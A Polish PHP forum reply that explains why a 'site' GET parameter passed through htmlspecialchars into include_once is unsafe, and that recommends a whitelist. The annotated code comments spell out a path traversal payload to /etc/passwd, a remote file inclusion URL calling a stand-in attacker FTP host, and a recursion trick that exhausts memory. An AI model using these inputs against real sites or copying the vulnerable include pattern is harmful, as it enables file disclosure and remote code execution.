Cytat(skowron-line @ 2.02.2010, 23:19:50 )

Bezpieczny gwarantuje to funkcja htmlspecialchars która ma przeciwdziałać atakom typu XSS.
Panie! Jak masz Pan takie rozwiazania polecac to moze sie akwizycja trojanow zajmij!
htmlspecialchars() nieczego tutaj nie gwarantuje, bo to zupelnie inna dzialka. XSS to atak na klienta po stronie przegladarki, a nie na serwer. Nazwy plikow natomiast niewiele maja wspolnego z html (poza rozszerzeniem w specyficznym wypadku...). Czas sie przeprosic z googlem.
Cytat(skowron-line @ 2.02.2010, 23:19:50 )

Oczywiście dla większej ilości podstron będzie to uciążliwe dopisywanie cały czas do switch.
Trudno. Mozesz sobie zrobic tablice i sprawdzac czy podana wartosc w $site jest jedna z wartosci, to bedziesz mial cos ala white list.
A do tego kodu, to moze malutkie omowienie jeszcze, zeby nikt nigdy wiecej takiego potworka na zywa strone nie wsadzil, bo ostatnio widzialem takie rozwiazanie u wroclawskiej firmy zajmujacej sie m. in. audytem bezpieczenstwa (sic!).
if( isset( $_GET[ 'site' ] ) // parametr podajemy - w koncu chcemy manipulowac... {
/**
/* nic nie robi w rzeczywistosci.
/* ./*;^ nie tknie aniani, dopiero < lub > sie przyczepi.
/* ../../../../../../../etc/passwd jest ok i pozostanie niezmienione przez htmlspecialchars
*/
/**
/* Jesli z jakichs powodow allow_url_fopen jest odpalone to juz jest masakra.
/* HTTP co prawda nie obsluguje stat(), ale FTP juz tak, zatem file_exists() zwroci === true
/* jesli znajdzie plik. Wynik?
/* http ://stronka.pl/index.php?site=ftp://chaker.pl/exploit i mamy problem.
/*
/* Wersja alternatywna - http ://stronka.pl/index.php?site=index i mamy rekurencje wcinajaca pamiec jak pacman kuleczki.
*/
{
include_once( $site .'.php' );
}
else
{
include_once('error.php' );
}
}
else
{
include_once( 'strona_glowna.php' );
}
?>